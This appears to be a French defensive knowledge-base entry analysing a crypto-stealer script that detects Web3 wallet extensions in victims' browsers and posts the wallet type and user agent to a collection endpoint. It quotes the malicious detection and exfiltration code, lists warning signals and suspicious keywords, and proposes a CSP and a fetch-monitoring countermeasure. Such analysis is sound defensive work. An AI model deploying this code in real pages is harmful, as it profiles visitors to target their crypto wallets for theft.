Parent : [[INDEX-CYBERSECU]]
Détection et exfiltration de wallets Web3
Problème
Les attaquants injectent des scripts pour détecter les extensions wallets (MetaMask, Phantom, Trust) dans le navigateur des victimes et exfiltrer ces informations vers un serveur C2 pour ciblage ultérieur.
Solution
Surveiller les accès aux objets window.ethereum, window.phantom, window.web3. Bloquer ou logger les tentatives de détection non autorisées.
Implémentation
Pattern de détection malveillant
// Archive Ygg - sci.js (lignes 444-461)
const isPhantomInstalled = window.phantom?.solana?.isPhantom;
const provider = window.ethereum || window.web3?.currentProvider;
if (isPhantomInstalled || provider) {
const walletType = isPhantomInstalled ? 'Phantom' :
provider ? detectWalletType(provider) : 'Unknown Wallet';
const response = await sendWeb3Info(walletType);
if (response.ok) {
localStorage.setItem(WEB3_STATS_KEY, 'true'); // Marquage
}
}
Mapping des wallets ciblés
// Archive Ygg - sci.js (lignes 471-488)
function detectWalletType(provider) {
const walletTypes = {
isPhantom: 'Phantom',
isMetaMask: 'MetaMask',
isTrust: 'Trust Wallet',
isCoinbaseWallet: 'Coinbase Wallet',
isWalletConnect: 'WalletConnect'
};
return Object.entries(walletTypes).find(
([key]) => provider[key]
)?.[1] || 'Unknown Wallet';
}
Exfiltration vers C2
// Archive Ygg - sci.js (lignes 491-517)
async function sendWeb3Info(walletType) {
return await fetch('/web3stats/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
},
body: JSON.stringify({
wallet_type: walletType,
user_agent: navigator.userAgent
}),
credentials: 'same-origin'
});
}
Schéma de l'attaque
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Victime │────▶│ Script │────▶│ Extension │
│ navigateur │ │ injecté │ │ wallet dét.│
└─────────────┘ └─────────────┘ └──────┬──────┘
│
▼
┌─────────────┐
│ Exfiltration│
│ /web3stats │
│ /collect │
└─────────────┘
Signaux d'alerte
- Accès à
window.phantom- Extension Solana détectée - Accès à
window.ethereum- MetaMask/similaire détecté - Endpoints suspects :
/web3stats,/collect,/wallet-detect - LocalStorage marqueurs :
stats_checked,wallet_detected - User-Agent exfiltré avec type de wallet
Contre-mesures
// Content Security Policy
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self';
connect-src 'self';
object-src 'none'">
// Monitoring
const originalFetch = window.fetch;
window.fetch = function(...args) {
const url = args[0];
if (url.includes('web3') || url.includes('wallet') || url.includes('collect')) {
console.warn('[SECURITY] Suspicious fetch detected:', url);
// Bloquer ou logger
}
return originalFetch.apply(this, args);
};
Références
- Archive Ygg :
06_ACTIVITE_MALVEILLANTE/06c_crypto_stealer/sci.js - Technique : Web3 fingerprinting, crypto-reconnaissance